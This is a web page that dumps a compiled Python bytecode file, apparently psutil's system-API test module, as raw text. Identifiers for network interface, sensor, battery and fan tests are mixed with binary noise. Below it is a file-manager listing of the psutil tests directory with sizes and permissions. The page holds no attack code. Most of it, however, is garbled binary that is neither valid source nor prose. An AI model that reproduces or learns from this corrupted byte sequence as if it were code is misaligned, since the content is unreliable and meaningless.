0�r�
�
����f�4�4�E�B�C����V�3�3�4�@�"�E��8�8�O�8�
�
�
�r�c
�	�[R"5nU(dU5e[R"5n[[R
[R[R/5nUR5GH_upEURU[5 UR[[U55[U55 UGHnURUR[5 URUR[5 URUR [[#S545 URUR$[[#S545 UR'URU5 [((a5[*(d*URUR[,R.5 X$R0(Ga8UR[R
:Xa][R"UR5n[2R4"U5 UR7URS45 SSS5 O�UR[R:Xa�[R8"URS[R[R:S[R<5SnUup�p�n
[R"X�U5n[2R4"U5 UR7U
5 SSS5 URUR UR$UR>4H=nUcMUR[R:wdM([AX�R5 M? UR$(aURCUR>5 GM�UR>(dGM�URCUR$5 GM GMb [D(d[F(d[H(aE[K[S5(a/UR[R[R5 gg[L(a/UR[R[RN5 g[P(a!UR[RS5 gg!,(df   GN�=f!,(df   GN�=f)Nr�AF_LINKrg))r:�net_if_addrs�net_if_statsrC�socket�AF_INET�AF_INET6r��itemsr�r�rArs�familyr��address�netmaskr��	broadcastr7r
rr"�IntEnum�isup�
contextlib�closing�bind�getaddrinfo�SOCK_STREAM�
AI_PASSIVE�ptpr!rXrrrr�r�	AF_PACKETr)rI�nics�	nic_stats�families�nic�addrs�addr�srU�af�socktype�proto�	canonname�sa�ips               r/�test_net_if_addrs�TestNetAPIs.test_net_if_addrss!���"�"�$����T��t��'�'�)�	�����������H�I���*�*�,�J�C��!�!�#�s�+����S��U��_�c�%�j�9����%�%�d�k�k�3�7��%�%�d�l�l�C�8��%�%�d�l�l�S�$�t�*�4E�F��%�%�d�n�n�s�D��J�6G�H��
�
�d�k�k�8�4��3�t�t��)�)�$�+�+�t�|�|�D��>�&�&�&��{�{�f�n�n�4�"�M�M�$�+�+�6��'�/�/��2��F�F�D�L�L�!�#4�5�3�2�������7�%�1�1� �L�L��"�O�O�"�.�.��"�-�-�
 �� ��>B�:��e��"�M�M�"��>��'�/�/��2��F�F�2�J�3��L�L��L�L��N�N��H�H�	�B��~� �;�;�&�/�/�9�-�b�+�+�>���>�>��%�%�d�h�h�/��X�X�X��%�%�d�n�n�5�Y�'�b�3�%�%�5�5��v�y�)�)�� � �������@�*�
�U����V�^�^�V�-=�-=�>�
�W����V�^�^�R�0��M3�2��3�2�s�*R2�4S�2
S�
Sc��[(aS[RSSSS4/nOS/n[R"SUS9n[R
"5SSnUR(de[(aURURS5 OURURS5 SSS5 g!,(df   g=f)	N�em1z06:3d:29)rrgz06-3d-29NNNzpsutil._psplatform.net_if_addrsrrz06:3d:29:00:00:00z06-3d-29-00-00-00)	r
r:r�r#rDr�rZrAr�)rIr�r]r�s    r/� test_net_if_addrs_mac_null_bytes�,TestNetAPIs.test_net_if_addrs_mac_null_bytes\s����5��6�>�>�:�t�T�4�H�I�C�<�=�C�
�Z�Z�-�C�
�
��&�&�(��/��2�D��8�8�O�8��u�� � ����/B�C�� � ����/B�C�
�
�
�s�A3B8�8
Cc��[R"5nU(dU5e[R[R[R4nUR5H�up4UR
U[5 UupVpxn	UR
U[5 URXb5 URXb5 URUS5 URUS5 UR
U	[5 M� gr�)r:r��NIC_DUPLEX_FULL�NIC_DUPLEX_HALF�NIC_DUPLEX_UNKNOWNr�r�r�r�r7rY)
rIr��all_duplexesr��statsr��duplex�speed�mtu�flagss
          r/�test_net_if_stats�TestNetAPIs.test_net_if_statsns����"�"�$����T��t��"�"��"�"��%�%�
��
 �:�:�<�K�D��!�!�$��,�.3�+�D�%�e��!�!�$��-��M�M�&�/��M�M�&�/��#�#�E�1�-��#�#�C��+��!�!�%��-�(r2zLINUX or BSD or MACOS specificc��[R"S[[RS5S9n[
R"5nURU05 UR(deSSS5 g!,(df   g=f)Nzpsutil._psutil_posix.net_if_mturRr5)	r#rDr�r��ENODEVr:r�rArZ)rIr]r�s   r/�test_net_if_stats_enodev�$TestNetAPIs.test_net_if_stats_enodev�s_��
�Z�Z�-�����b�1�
���%�%�'�C����S�"�%��8�8�O�8�

�
�
�s�;A3�3
Br�N)r�r�r�r�r�r�rr�r�rrrrrrrr�r�r2r/r�r��s���
�_�_�,�,�o�>�#�?�#�8�_�_�,�,�o�>��?��C1�JD�$.�$�_�_�
�
"�c�
"�U�#�%E����r2r�c�:�\rSrSr\R
"\(+S5S5r\R
"\(+S5S5r\R
"\	(+S5\R
"\
(+S5S55r\R
"\(+S5S5r
Srg	)
�TestSensorsAPIsi�rec���[R"5nUR5H�up#URU[5 UH�nURUR
[5 URbURURS5 URbURURS5 URcM�URURS5 M� M� gr�)
r:�sensors_temperaturesr�r�r��labelrhrY�high�critical)rI�tempsr��entries�entrys     r/�test_sensors_temperatures�)TestSensorsAPIs.test_sensors_temperatures�s����+�+�-��"�[�[�]�M�D��!�!�$��,� ���%�%�e�k�k�3�7��=�=�,��+�+�E�M�M�1�=��:�:�)��+�+�E�J�J��:��>�>�-��+�+�E�N�N�A�>�!�+r2c�n�SS/0n[R"SUS9n[R"SS9SSnUR(deURURS5 URURS	5 URURS
5 SSS5 g!,(df   g=f)N�coretemp)rgI@gN@g�Q@z'psutil._psplatform.sensors_temperaturesrT)�
fahrenheitrg�^@g�a@g�c@)	r#rDr:rrZrArhrr)rI�dr]rs    r/�#test_sensors_temperatures_fahreneit�3TestSensorsAPIs.test_sensors_temperatures_fahreneit�s���
�5�6�7��
�Z�Z�5�A�
�
��/�/�4�@��L�Q�O�E��8�8�O�8����U�]�]�E�2����U�Z�Z��/����U�^�^�U�3�
�
�
�s�BB&�&
B4z
no batteryc���[R"5nURURS5 UR	URS5 UR
[R[R4;aURUR
S5 O9UR
[R:XaURUR5 URUR[5 g)Nrr�)r:�sensors_batteryrYr�r8�secsleft�POWER_TIME_UNKNOWN�POWER_TIME_UNLIMITEDr��
power_pluggedr�r�)rIr�s  r/�test_sensors_battery�$TestSensorsAPIs.test_sensors_battery�s����$�$�&��������Q�/����S�[�[�#�.��<�<��%�%��'�'� 
�
�
�#�#�C�L�L�!�4��|�|�v�:�:�:����� 1� 1�2����c�/�/��6r2c�b�[R"5nUR5H�up#URU[5 UHenURUR
[5 URUR[[45 URURS5 Mg M� gr�)
r:�sensors_fansr�r�r�rrhr�rrY)rI�fansr�rr s     r/�test_sensors_fans�!TestSensorsAPIs.test_sensors_fans�s|���"�"�$��!�Z�Z�\�M�D��!�!�$��,� ���%�%�e�k�k�3�7��%�%�e�m�m�c�4�[�A��'�'��
�
�q�9�!�*r2r�N)r�r�r�r�r�r�rr!r'rrr/rr4r�r�r2r/rr�s���
�_�_�1�1�?�C�?�D�?��_�_�1�1�?�C�	4�D�	4��_�_�,�,�o�>�
�_�_��_�l�3�7�4�?�7��_�_�)�)�?�;�:�<�:r2r�__main__)�
run_from_name)=�__doc__r�r�r�r8r�r9r|r�r�r�rr�r:rrrrrrr	r
rr�psutil._compatr
rr�psutil.testsrrrrrrrrrrrrrrrrr r!r"r#r$r&r�r�r�rxr�rr��psutil.tests.runnerr7r�r�r2r/�<module>r<s������	��
�
�
�
�
���
������������,��!�#� �'�'�$�%�'�,�,�)�1�!�%��'�'�*���)�R>�n�R>�jV>�>�V>�r$"�^�$"�N/�.�/�DT�>�T�n]�.�]�@3:�n�3:�l�z��1��(��r2

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 91.2 KB 0644
__main__.cpython-313.pyc File 295 B 0644
runner.cpython-313.pyc File 17.87 KB 0644
test_aix.cpython-313.pyc File 5.58 KB 0644
test_bsd.cpython-313.pyc File 35.72 KB 0644
test_connections.cpython-313.pyc File 28.36 KB 0644
test_contracts.cpython-313.pyc File 23.74 KB 0644
test_linux.cpython-313.pyc File 138.04 KB 0644
test_memleaks.cpython-313.pyc File 34.66 KB 0644
test_misc.cpython-313.pyc File 54.59 KB 0644
test_osx.cpython-313.pyc File 11.29 KB 0644
test_posix.cpython-313.pyc File 24.29 KB 0644
test_process.cpython-313.pyc File 98.9 KB 0644
test_process_all.cpython-313.pyc File 25.5 KB 0644
test_sunos.cpython-313.pyc File 2.33 KB 0644
test_system.cpython-313.pyc File 56.49 KB 0644
test_testutils.cpython-313.pyc File 29.34 KB 0644
test_unicode.cpython-313.pyc File 17.55 KB 0644
test_windows.cpython-313.pyc File 57.12 KB 0644
Filemanager